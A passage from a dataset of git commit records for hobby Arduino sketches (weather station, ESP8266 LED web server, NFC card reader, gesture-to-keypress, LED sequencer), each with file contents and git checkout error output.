\/\/BTSerial.print(fromSerialStr);\n \/\/Serial.print(fromSerialStr);\n }\n\n\n v0 = analogRead(A0);\n v1 = analogRead(A1);\n v2 = analogRead(A2);\n v3 = analogRead(A3);\n\n d10 = digitalRead(10);\n d8 = digitalRead(8);\n\n char status;\n\n if (board == 0) {\n\n \n \/\/ abirvalg!!!\n status = pressure.startTemperature();\n if (status != 0) {\n delay(status);\n status = pressure.getTemperature(T);\n \/\/Serial.println(T);\n if (status != 0) {\n status = pressure.startPressure(3);\n if (status != 0) {\n delay(status);\n \n status = pressure.getPressure(P,T);\n if (status != 0) {\n \n } else { T = -1.0; P = -1.0; }\n } else { T = -1.0; P = -1.0; }\n } else { T = -1.0; P = -1.0; }\n } else { T = -1.0; P = -1.0; }\n\n bt_echo_send(\"(\")\n fbt_echo_send(cnt); \n fbt_echo_send(v0); \n fbt_echo_send(-1);\n fbt_echo_send(-1);\n fbt_echo_send(v1); \n fbt_echo_send(d8);\n fbt_echo_send(d10);\n fbt_echo_send(T);\n fbt_echo_send(P);\n bt_echo_send(\")\")\n\n bt_echo_send(\"\\r\\n\")\n \n delay(100);\n }\n cnt++;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/firmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"039953674f4860dea6280d3d9f58f702ce080149","subject":"First version of the wifi module in use.","message":"First version of the wifi module in use.\n\nNo buttons tested, only wifi connectivity.\n","repos":"rlmanrique\/weather_station,rlmanrique\/weather_station","old_file":"wifi.ino","new_file":"wifi.ino","new_contents":"#include <SoftwareSerial.h>\n#define DEBUG true\n\n#define accesspoint \"AndroidAP\"\n#define password \"1234\"\nq\n#define baud_rate 115200\n\nSoftwareSerial esp8266(3,2); \n\/\/ TX to terminal 3\n\/\/ RX to terminal 2\n\nvoid setup()\n{\n pinMode(13,OUTPUT);\n Serial.begin(baud_rate);\n esp8266.begin(baud_rate); \n\n sendData(\"AT+RST\\r\\n\",2000,DEBUG); \/\/ Deletes previous configuration\n\n sendData(\"AT+CWJAP=\\\"\"accesspoint\"\\\",\\\"\"password\"\\\"\\r\\n\\n\", 2000, DEBUG);\n\n delay(5000); \n sendData(\"AT+CWMODE=3\\r\\n\",1000,DEBUG); \/\/Client and server side \n sendData(\"AT+CIFSR\\r\\n\",1000,DEBUG); \/\/ Show client and server IP in Serial Monitor\n sendData(\"AT+CIPMUX=1\\r\\n\",1000,DEBUG); \/\/ Several connections\n sendData(\"AT+CIPSERVER=1,80\\r\\n\",1000,DEBUG); \/\/ webserver port = 80\n}\n\nvoid loop()\n{\n if(esp8266.available()) \n {\n\n if(esp8266.find(\"+IPD,\"))\n\t{\n\t delay(1000);\n\n\t int connectionId = esp8266.read()-48; \n\n\t String webpage = \"<head><meta http-equiv=\\\"refresh\\\" content=\\\"4\\\"><\/head>\";\n\t webpage += \"<h1>KIO4.COM<\/h1>\";\n\t webpage += \"Switch 8 status: \";\n\t int p8 = digitalRead(8);\n\t webpage += p8;\n\t webpage += \"<br>Switch 9 status: \";\n\t int p9 = digitalRead(9);\n\t webpage += p9;\n\n\t String cipSend = \"AT+CIPSEND=\";\n\t cipSend += connectionId;\n\t cipSend += \",\";\n\t cipSend +=webpage.length();\n\t cipSend +=\"\\r\\n\";\n\n\t sendData(cipSend,1000,DEBUG);\n\t sendData(webpage,1000,DEBUG);\n\n\t \/\/ Close the connection\n\t String closeCommand = \"AT+CIPCLOSE=\"; \n\t closeCommand+=connectionId;\n\t closeCommand+=\"\\r\\n\";\n\n\t sendData(closeCommand,3000,DEBUG);\n\t}\n }\n}\n\nString sendData(String command, const int timeout, boolean debug)\n{\n String response = \"\";\n esp8266.print(command); \n long int time = millis();\n\n while( (time+timeout) > millis())\n {\n while(esp8266.available())\n\t{\n\n\t char c = esp8266.read(); \n\t response+=c; \n\t} \n }\n\n if(debug)\n {\n Serial.print(response);\n } \n return response;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'wifi.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"fb647da4ffbfc525914d751906fd9912d170ab14","subject":"\u30b3\u30df\u30c3\u30c8\u304c\u3046\u307e\u304f\u884c\u304b\u306a\u3044\u3088","message":"\u30b3\u30df\u30c3\u30c8\u304c\u3046\u307e\u304f\u884c\u304b\u306a\u3044\u3088\n","repos":"sh4869\/TankGame","old_file":"tank\/src\/sketch.ino","new_file":"tank\/src\/sketch.ino","new_contents":"\nvoid setup()\n{\n}\n\nvoid loop()\n{\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tank\/src\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"41c3f702ec34790c990b891d34513cd7cc286acc","subject":"Were using the RL pin as the Rw pin. Put RL to low and now reading from RW.","message":"Were using the RL pin as the Rw pin. Put RL to low and now reading from RW.\n","repos":"mcelligottnick\/digitalPotController,mcelligottnick\/digitalPotController","old_file":"arduino\/digitalPotController\/digitalPotController.ino","new_file":"arduino\/digitalPotController\/digitalPotController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mcelligottnick\/digitalPotController.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d7871b8e7eed5ccdf1dd492df093e19bbd642373","subject":"Add Google Earth Example","message":"Add Google Earth Example\n","repos":"hoverlabs\/hover_arduino,jonco91\/hover_arduino","old_file":"Hover\/examples\/Hover_GoogleEarth_example\/Hover_GoogleEarth_example.ino","new_file":"Hover\/examples\/Hover_GoogleEarth_example\/Hover_GoogleEarth_example.ino","new_contents":"\n\/*************************************************************************************************************\n# This is an example for Hover. \n# \n# Hover is a development kit that lets you control your hardware projects in a whole new way. \n# Wave goodbye to physical buttons. Hover detects hand movements in the air for touch-less interaction. \n# It also features five touch-sensitive regions for even more options.\n# Hover uses I2C and 2 digital pins. It is compatible with Arduino, Raspberry Pi and more.\n#\n# Hover can be purchased here: http:\/\/www.justhover.com\n#\n# Written by Emran Mahbub and Jonathan Li for Gearseven Studios. \n# BSD license, all text above must be included in any redistribution\n# ===========================================================================\n#\n# HOOKUP GUIDE (For Arduino)\n# \n# =============================\n# | 1 2 3 4 5 6 7 | \n# | HOVER |\n# | |\n# | +++++++++++++++++++++++++++ |\n# | + + |\n# | + + |\n# | * + |\n# | * + |\n# | * + |\n# |_+++++++++++++++++++++++++++_|\n# \n# PIN 1 - HOST_V+ ---- 5V Pin or 3v3 Pin depending on what Arduino is running on. \n# PIN 2 - RESET ---- Any Digital Pin. This example uses Pin 6. \n# PIN 3 - SCL ---- SCL pin\n# PIN 4 - SDA ---- SDA pin\n# PIN 5 - GND ---- Ground Pin\n# PIN 6 - 3V3 ---- 3V3 pin\n# PIN 7 - TS ---- Any Digital Pin. This example uses Pin 5.\n# \n# =============================================================================\n#\n# OUTPUT DEFINITION\n# The message variable outputs an 8-bit binary value to indicate the event type, gesture direction, and tap location. \n# Upper 3 bits indicates the event type: gesture or tap.\n# Lower 5 bits indicates the gesture direction or tap location. \n#\n# EVENT TYPE DIRECTION \n# 000 00000\n# ---------------------------------------------------------\n# GESTURES DIRECTION FOR GESTURE\n# 001 00010 - Right Swipe\n# 00100 - Left Swipe\n# 01000 - Up Swipe \n# 10000 - Down Swipe\n#\n# TAP DIRECTION FOR TAP\n# 010 00001 - South Tap\n# 00010 - West Tap\n# 00100 - North Tap\n# 01000 - East Tap\n# 10000 - Center Tap\n# ----------------------------------------------------------\n# \n# HISTORY\n# v1.0 - Initial Release\n# v2.0 - Standardized Output Definition, On Github\n# v2.1 - Fixed Count Issue, Update Output String with examples\n# \n# INSTALLATION\n# The 3 library files (Hover.cpp, Hover.h and keywords.txt) in the Hover folder should be placed in your Arduino Library folder.\n# Run the HoverDemo.ino file from your Arduino IDE.\n#\n# SUPPORT\n# For questions and comments, email us at support@gearseven.com\n#\n*********************************************************************************************************\/\n\n#include <Wire.h>\n#include <Hover.h>\n\n\/\/ Pin declarations for Hover\nint ts = 5;\nint reset = 6;\n\nHover hover = Hover();\nbyte event;\nString output_string = \"\";\n\nvoid setup() {\n Serial.begin(9600);\n delay(4000);\n Serial.println(\"Initializing Hover...please wait.\");\n hover.begin(ts, reset); \n Keyboard.begin(); \n}\n\nvoid loop(void) {\n \n \/\/ Check if Hover is ready to send gesture or touch events\n if (hover.getStatus(ts) == 0) {\n \n \/\/Get the event over i2c and print it\n event = hover.getEvent();\n \n \n \/\/This section can be commented out if you don't want to see the event in text format\n output_string = hover.getEventString(event);\n if (output_string != \"\"){\n Serial.print(event,BIN);\n Serial.println(\" = \" + output_string);\n }\n \n if (event == B00100010) {\n Keyboard.press(KEY_RIGHT_ARROW);\n delay(500);\n Keyboard.releaseAll();\n } else if (event == B00100100) {\n Keyboard.press(KEY_LEFT_ARROW);\n delay(500);\n Keyboard.releaseAll();\n } else if (event == B00101000) {\n Keyboard.press(KEY_UP_ARROW);\n delay(500);\n Keyboard.releaseAll();\t\t\n } else if (event == B00110000) {\n Keyboard.press(KEY_DOWN_ARROW);\n delay(500);\n Keyboard.releaseAll();\t\t\n\t\t\n } else if (event == B01000001) {\n Keyboard.press(KEY_PAGE_DOWN);\n delay(200);\n Keyboard.releaseAll();\t\t\n\t\t\n } else if (event == B01000100) {\n Keyboard.press(KEY_PAGE_UP);\n delay(200);\n Keyboard.releaseAll();\t\t\n\t\t\n } \n \n \n \/\/Reset Hover for next event\n hover.setRelease(ts);\n\n }\n}\n\n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Hover\/examples\/Hover_GoogleEarth_example\/Hover_GoogleEarth_example.ino' did not match any file(s) known to git\n","license":"unknown","lang":"Arduino"} {"commit":"e3875f35c002aebae7da1aa817e180d8ccb9f406","subject":"demo file","message":"demo file","repos":"nbremond77\/rDuino-Compiler-Uploader-Server,nbremond77\/rDuino-Compiler-Uploader-Server,nbremond77\/rDuino-Compiler-Uploader-Server","old_file":"Blink.ino","new_file":"Blink.ino","new_contents":"\/*\n Blink\n Turns on an LED on for one second, then off for one second, repeatedly.\n\n Most Arduinos have an on-board LED you can control. On the Uno and\n Leonardo, it is attached to digital pin 13. If you're unsure what\n pin the on-board LED is connected to on your Arduino model, check\n the documentation at http:\/\/www.arduino.cc\n\n This example code is in the public domain.\n\n modified 8 May 2014\n by Scott Fitzgerald\n *\/\n\n\n\/\/ the setup function runs once when you press reset or power the board\nvoid setup() {\n \/\/ initialize digital pin 13 as an output.\n pinMode(13, OUTPUT);\n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop() {\n digitalWrite(13, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(13, LOW); \/\/ turn the LED off by making the voltage LOW\n delay(1000); \/\/ wait for a second\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Blink.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"968932be240962daa6a000b928ce13c80e047f11","subject":"we seem to get the motion status right","message":"we seem to get the motion status right\n\n\u2026 which leads to no more motion \u2026 but there is nothing like free lunch \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Motion.ino","new_file":"ArduinoClient\/Motion.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"5d74a06e0e7df14b6e82e63c23d1d6eaa77f811f","subject":"better to configure the pins doublely","message":"better to configure the pins doublely\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC43x.ino","new_file":"ArduinoClient\/TMC43x.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"5d0e574af03797d513f31f83a7923844b87383d1","subject":"Arduino","message":"Arduino\n\nCode\n","repos":"Patrick-Fieger\/MP4,Patrick-Fieger\/MP4,Patrick-Fieger\/MP4,Patrick-Fieger\/MP4,Patrick-Fieger\/MP4,Patrick-Fieger\/MP4,Patrick-Fieger\/MP4","old_file":"code\/readMifare\/readMifare.ino","new_file":"code\/readMifare\/readMifare.ino","new_contents":"#include <Wire.h>\n#include <SPI.h>\n#include <Adafruit_PN532.h>\n#include <Bridge.h>\n#include <HttpClient.h>\n\n#define PN532_IRQ (6)\n#define PN532_RESET (3)\n\nAdafruit_PN532 nfc(PN532_IRQ, PN532_RESET);\n\nvoid setup(void) {\n\n pinMode(13, OUTPUT);\n \n Serial.begin(115200);\n Serial.println(\"Hello!\");\n \n nfc.begin();\n Bridge.begin();\n\n uint32_t versiondata = nfc.getFirmwareVersion();\n while(!versiondata)\n {\n uint32_t versiondata = nfc.getFirmwareVersion();\n if (! versiondata)\n {\n Serial.println(\"Didn't find PN53x board Motherfucker\");\n delay (400);\n }\n }\n \n Serial.print(\"Found chip PN5\"); Serial.println((versiondata>>24) & 0xFF, HEX); \n Serial.print(\"Firmware ver. \"); Serial.print((versiondata>>16) & 0xFF, DEC); \n Serial.print('.'); Serial.println((versiondata>>8) & 0xFF, DEC);\n \n nfc.SAMConfig();\n \n Serial.println(\"Waiting for an ISO14443A Card ...\");\n}\n\nvoid loop(void) {\n uint8_t success;\n uint8_t uid[] = { 0, 0, 0, 0, 0, 0, 0 }; \n uint8_t uidLength; \n\n success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength);\n \n if (success) {\n \n Serial.println(\"Found an ISO14443A card\");\n Serial.print(\"size: \"+ sizeof(uid));\n Serial.println(\"\");\n Serial.print(\" UID Length: \");\n Serial.print(uidLength, DEC);\n Serial.println(\" bytes\");\n\n String getParam = \"\";\n \n Serial.print(\" UID Value: \");\n nfc.PrintHex(uid, uidLength);\n Serial.println(\"-------\");\n for(int i = 0; i <= uidLength; i++){\n Serial.print(i);\n Serial.print(\" - ergibt: \");\n Serial.print(uid[i]);\n \n getParam += uid[i];\n \n Serial.println(\"\");\n }\n Serial.print(\"Param: \");\n Serial.print(getParam);\n Serial.println(\"\");\n Serial.println(\"----- HTTP REQUEST ------------\");\n\n digitalWrite(13, HIGH);\n \n HttpClient client;\n \/\/client.get(\"http:\/\/kaz.kochab.uberspace.de\/MP3\/api\/test?id=\"+getParam);\n while (client.available()) {\n char c = client.read();\n Serial.print(c);\n }\n\n \n Serial.println(\"---- \/\/ HTTP REQUEST ------------\");\n Serial.println(\"\");\n \n if (uidLength == 4)\n {\n Serial.println(\"Seems to be a Mifare Classic card (4 byte UID)\");\n Serial.println(\"Trying to authenticate block 4 with default KEYA value\");\n uint8_t keya[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };\n \n success = nfc.mifareclassic_AuthenticateBlock(uid, uidLength, 4, 0, keya);\n\t \n if (success)\n {\n Serial.println(\"Sector 1 (Blocks 4..7) has been authenticated\");\n uint8_t data[16];\n\t\t\n success = nfc.mifareclassic_ReadDataBlock(4, data);\n\t\t\n if (success)\n {\n Serial.println(\"Reading Block 4:\");\n nfc.PrintHexChar(data, 16);\n Serial.println(\"\");\n delay(1000);\n }\n else\n {\n Serial.println(\"Ooops ... unable to read the requested block. Try another key?\");\n }\n }\n else\n {\n Serial.println(\"Ooops ... authentication failed: Try another key?\");\n }\n }\n \n if (uidLength == 7)\n {\n Serial.println(\"Seems to be a Mifare Ultralight tag (7 byte UID)\");\n\n Serial.println(\"Reading page 4\");\n uint8_t data[32];\n success = nfc.mifareultralight_ReadPage (4, data);\n if (success)\n {\n nfc.PrintHexChar(data, 4);\n Serial.println(\"\");\n \n delay(1000);\n }\n else\n {\n Serial.println(\"Ooops ... unable to read the requested page!?\");\n }\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/readMifare\/readMifare.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f861a1e5e205046e557145f3a78999c46306ef1d","subject":"Added lots of comment lines","message":"Added lots of comment lines\n","repos":"andydrop\/klampfinator,andydrop\/klampfinator","old_file":"src\/campfireXL\/campfireXL.ino","new_file":"src\/campfireXL\/campfireXL.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/andydrop\/klampfinator.git\/'\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"0cb7010ab9df3744b764a3a2812e8cd468c28f9a","subject":"Add arduino code","message":"Add arduino code\n","repos":"PMantovani\/road-irregularity-detector,PMantovani\/road-irregularity-detector,PMantovani\/road-irregularity-detector,PMantovani\/road-irregularity-detector,PMantovani\/road-irregularity-detector,PMantovani\/road-irregularity-detector","old_file":"arduino\/src\/sketch\/sketch.ino","new_file":"arduino\/src\/sketch\/sketch.ino","new_contents":"\/*\n * Road Irregularity Detector\n * \n * This program uses sensor data from an accelerometer and GPS to detect holes in roads\n * \n * Author: Pedro Mantovani Antunes\n * Date: October 06th, 2017\n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n#include <TinyGPS++.h>\n\nbyte mac[] = {\n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED\n};\nIPAddress ip(192, 168, 1, 177);\nEthernetClient client;\nIPAddress server(192, 168, 1, 42);\nTinyGPSPlus gps;\n\nvoid setup() {\n Serial.begin(9600); \/\/ USB Serial to pins 0 and 1\n Serial3.begin(9600); \/\/ GPS Serial to pins 14 and 15\n delay(1000); \/\/ Give some time to boot up the ethernet module\n Ethernet.begin(mac, ip);\n}\n\nvoid loop() {\n\n \/\/ Fetch data from GPS\n getGpsData();\n \n \/\/ Post data to server if location found\n if(gps.location.isValid()) {\n postDetection(123, gps.location.lat(), gps.location.lng());\n }\n else {\n Serial.println(\"No GPS data\");\n }\n\n \/\/ Delay to avoid multiple requests\n delay(10000);\n}\n\nvoid postDetection(int accelerometer, float latitude, float longitude) {\n String json = \"{\\\"latitude\\\": \\\"@latitude\\\", \\\"longitude\\\": \\\"@longitude\\\",\"\n \"\\\"accelerometer\\\": \\\"@accelerometer\\\"}\";\n json.replace(\"@latitude\", String(latitude));\n json.replace(\"@longitude\", String(longitude));\n json.replace(\"@accelerometer\", String(accelerometer));\n\n client.stop(); \/\/ close any open connections\n \n if (client.connect(server, 8080)) {\n client.println(\"POST api.php HTTP\/1.1\");\n client.println(\"Content-Type: application\/json\");\n client.println(\"Connection: close\");\n client.println();\n client.println(json);\n }\n \n else {\n Serial.println(\"Connection Failed\");\n }\n}\n\nvoid getGpsData() {\n if(Serial3.available()) {\n gps.encode(Serial3.read());\n }\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/src\/sketch\/sketch.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ad3564832ff9bf68b5690f10061ed58ebbca6bea","subject":"Added arduino sequencer","message":"Added arduino sequencer\n","repos":"7Ds7\/sequencer","old_file":"Arduino\/sequencer\/sequencer.ino","new_file":"Arduino\/sequencer\/sequencer.ino","new_contents":"#define ARRAYSIZE(x) (sizeof(x)\/sizeof(*x))\n\nconst int ledStep1 = 2;\nconst int ledStep2 = 3;\nconst int ledStep3 = 4;\nconst int ledStep4 = 5;\n\nconst int ledStep5 = 6;\nconst int ledStep6 = 7;\nconst int ledStep7 = 8;\nconst int ledStep8 = 9;\n\nconst int button1 = 11;\nconst int button2 = 12;\nconst int pot1 = A5;\n\nint stepArray[] = {ledStep1, ledStep2, ledStep3, ledStep4, ledStep5, ledStep6, ledStep7, ledStep8};\nint randArray[8];\n\/\/int stepArray[5] = {ledStep1, ledStep2, ledStep3, ledStep4};\n\n\nint beat = 90;\nint curvalue = -1;\n\nint stepCounter = 0;\n\nint mode = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(ledStep1, OUTPUT);\n pinMode(ledStep2, OUTPUT);\n pinMode(ledStep3, OUTPUT);\n pinMode(ledStep4, OUTPUT);\n pinMode(ledStep5, OUTPUT);\n pinMode(ledStep6, OUTPUT);\n pinMode(ledStep7, OUTPUT);\n pinMode(ledStep8, OUTPUT);\n pinMode(button1, INPUT);\n pinMode(button2, INPUT);\n pinMode(pot1, INPUT);\n\n Serial.begin(9600);\n}\n\nvoid turnAllOff() {\n for ( int i= 0; i <= 7; i++ ) {\n digitalWrite(stepArray[i], LOW);\n }\n}\n\nvoid regularPlay() {\n Serial.println(\"regularPlay\");\n turnAllOff();\n digitalWrite(stepArray[stepCounter], HIGH);\n\n stepCounter++;\n if ( stepCounter >= 8 ) {\n stepCounter = 0;\n }\n}\n\nvoid reversePlay() {\n Serial.println(\"reversePlay\");\n turnAllOff();\n digitalWrite(stepArray[stepCounter], HIGH);\n\n stepCounter--;\n if ( stepCounter <= -1 ) {\n stepCounter = 7;\n } \n}\n\nvoid doublePlay() {\n Serial.println(\"doublePlay\");\n turnAllOff();\n\n digitalWrite(stepArray[stepCounter], HIGH); \n digitalWrite(stepArray[stepCounter+4], HIGH);\n\n stepCounter++;\n if ( stepCounter >= 4 ) {\n stepCounter = 0;\n } \n}\n\nvoid randomPlay() {\n Serial.println(\"randomPlay\");\n turnAllOff();\n if ( stepCounter == 0 ) {\n for( int i = 0 ; i < 8 ; ++i ){\n randArray[ i ] = stepArray[ i ];\n } \n }\n for( int i = 0 ; i < 8 ; ++i ){\n Serial.println(randArray[i]);\n }\n Serial.println(\"--------\");\n Serial.println(ARRAYSIZE(randArray) );\n int arr_access = randArray[random(0, 8)];\n digitalWrite( arr_access, HIGH);\n \/\/remove_element(arr_access\n stepCounter++;\n if ( stepCounter >= 8 ) {\n stepCounter = 0;\n }\n}\n\n\nint modeSelect() {\n boolean b1 = digitalRead(button1);\n boolean b2 = digitalRead(button2);\n int md = 0;\n Serial.println(b1);\n Serial.println(b2);\n if ( b1 == 0 && b2 == 0 ) {\n \/\/Serial.println(\"regularPlay\");\n md = 0;\n } else if ( b1 == 1 && b2 == 0 ) {\n \/\/Serial.println(\"reversePlay\");\n md = 1;\n } else if ( b1 == 0 && b2 == 1 ) {\n \/\/Serial.println(\"doublePlay\");\n md = 2;\n } else if ( b1 == 1 && b2 == 1 ) {\n md = 3;\n }\n \n return md;\n \n}\n\nvoid loop() {\n beat = 30 + 220*(analogRead(pot1)\/256);\n mode = modeSelect();\n\/\/ mode = 0;\n \/\/Serial.println(stepCounter);\n \/\/Serial.println(mode);\n \/\/Serial.println(analogRead(pot1));\n\/\/ Serial.print(\"\\n\");\n \/\/Serial.println(beat);\n if ( mode == 0) {\n \/\/Serial.println(\"Regular play\");\n regularPlay();\n } else if ( mode == 1 ) {\n \/\/Serial.println(\"Alternate play\");\n reversePlay();\n } else if ( mode == 2 ) {\n doublePlay();\n } else if ( mode == 3 ) {\n randomPlay(); \n }\n\/\/ Serial.println(digitalRead(button1));\n\/\/ Serial.println(digitalRead(button2));\n\/\/ Serial.println(mode);\n \/\/Serial.println(stepArray[stepCounter]);\n delay(beat);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/sequencer\/sequencer.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"ae31731b580fb42f1c82f61ecec96df48e7a9cff","subject":"Set timeout for US pulse","message":"Set timeout for US pulse\n","repos":"balmli\/arduinodemo","old_file":"ardemo\/ardemo.ino","new_file":"ardemo\/ardemo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/balmli\/arduinodemo.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"8edbbec552d913b3ad908430f7160e860f2fad75","subject":"Start of a speparate data monitor","message":"Start of a speparate data monitor\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"experiments\/esp8266_monitor\/esp8266_monitor.ino","new_file":"experiments\/esp8266_monitor\/esp8266_monitor.ino","new_contents":"\n#include \"SSD1306.h\" \/\/ alias for `#include \"SSD1306Wire.h\"`\n\n\/\/ Initialize the OLED display using Wire library\nSSD1306 display(0x3c, 4, 5);\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println();\n\n \/\/ Initialise the display.\n display.init();\n \/\/ display.flipScreenVertically();\n display.setFont(ArialMT_Plain_24);\n\n}\n\nvoid loop() {\n\n display.clear();\n display.drawString(0, 0, String(millis()));\n display.display();\n \n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'experiments\/esp8266_monitor\/esp8266_monitor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0f697fae6554c4ac1ebd2e52fc281e2abc7f919b","subject":"Create mtt1.ino","message":"Create mtt1.ino","repos":"mttstt\/Domoticasite,mttstt\/Domoticasite","old_file":"mtt1.ino","new_file":"mtt1.ino","new_contents":"#include <ESP8266WiFi.h>\n \nconst char* ssid = \"YOUR_SSID\";\/\/type your ssid\nconst char* password = \"YOUR_PASSWORD\";\/\/type your password\n \nint ledPin = 2; \/\/ GPIO2 of ESP8266\nWiFiServer server(80);\n \nvoid setup() {\n Serial.begin(115200);\n delay(10);\n \n \n pinMode(ledPin, OUTPUT);\n digitalWrite(ledPin, LOW);\n \n \/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n \n \/\/ Start the server\n server.begin();\n Serial.println(\"Server started\");\n \n \/\/ Print the IP address\n Serial.print(\"Use this URL to connect: \");\n Serial.print(\"http:\/\/\");\n Serial.print(WiFi.localIP());\n Serial.println(\"\/\");\n \n}\n \nvoid loop() {\n \/\/ Check if a client has connected\n WiFiClient client = server.available();\n if (!client) {\n return;\n }\n \n \/\/ Wait until the client sends some data\n Serial.println(\"new client\");\n while(!client.available()){\n delay(1);\n }\n \n \/\/ Read the first line of the request\n String request = client.readStringUntil('\\r');\n Serial.println(request);\n client.flush();\n \n \/\/ Match the request\n \n int value = LOW;\n if (request.indexOf(\"\/LED=ON\") != -1) {\n digitalWrite(ledPin, HIGH);\n value = HIGH;\n } \n if (request.indexOf(\"\/LED=OFF\") != -1){\n digitalWrite(ledPin, LOW);\n value = LOW;\n }\n \n\/\/ Set ledPin according to the request\n\/\/digitalWrite(ledPin, value);\n \n \n \/\/ Return the response\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println(\"\"); \/\/ do not forget this one\n client.println(\"<!DOCTYPE HTML>\");\n client.println(\"<html>\");\n \n client.print(\"Led pin is now: \");\n \n if(value == HIGH) {\n client.print(\"On\"); \n } else {\n client.print(\"Off\");\n }\n client.println(\"<br><br>\");\n client.println(\"Click <a href=\\\"\/LED=ON\\\">here<\/a> turn the LED on pin 2 ON<br>\");\n client.println(\"Click <a href=\\\"\/LED=OFF\\\">here<\/a> turn the LED on pin 2 OFF<br>\");\n client.println(\"<\/html>\");\n \n delay(1);\n Serial.println(\"Client disonnected\");\n Serial.println(\"\");\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mtt1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"af1c38e63fc097ad3e1996b8f7e82f5ed576b809","subject":"Resolved merge conflicts","message":"Resolved merge conflicts\n","repos":"GW-Robotics\/2017-Fire-Fighter,GW-Robotics\/2017-Fire-Fighter,GW-Robotics\/2017-Fire-Fighter","old_file":"arduino\/HC_SR04 test.ino","new_file":"arduino\/HC_SR04 test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/HC_SR04' did not match any file(s) known to git\nerror: pathspec 'test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"40c3e18fa77c79d4890fdf4804d69e99c56af00d","subject":" On branch master Your branch is up-to-date with 'origin\/master'.","message":" On branch master\n Your branch is up-to-date with 'origin\/master'.\n\n Changes to be committed:\n\tmodified: display\/live_market_led_display\/led_market_display\/led_market_display.ino\n\nNow works with one led strip but has ~3 seconds of lag to light up and 5 seconds to turn off leds after market has 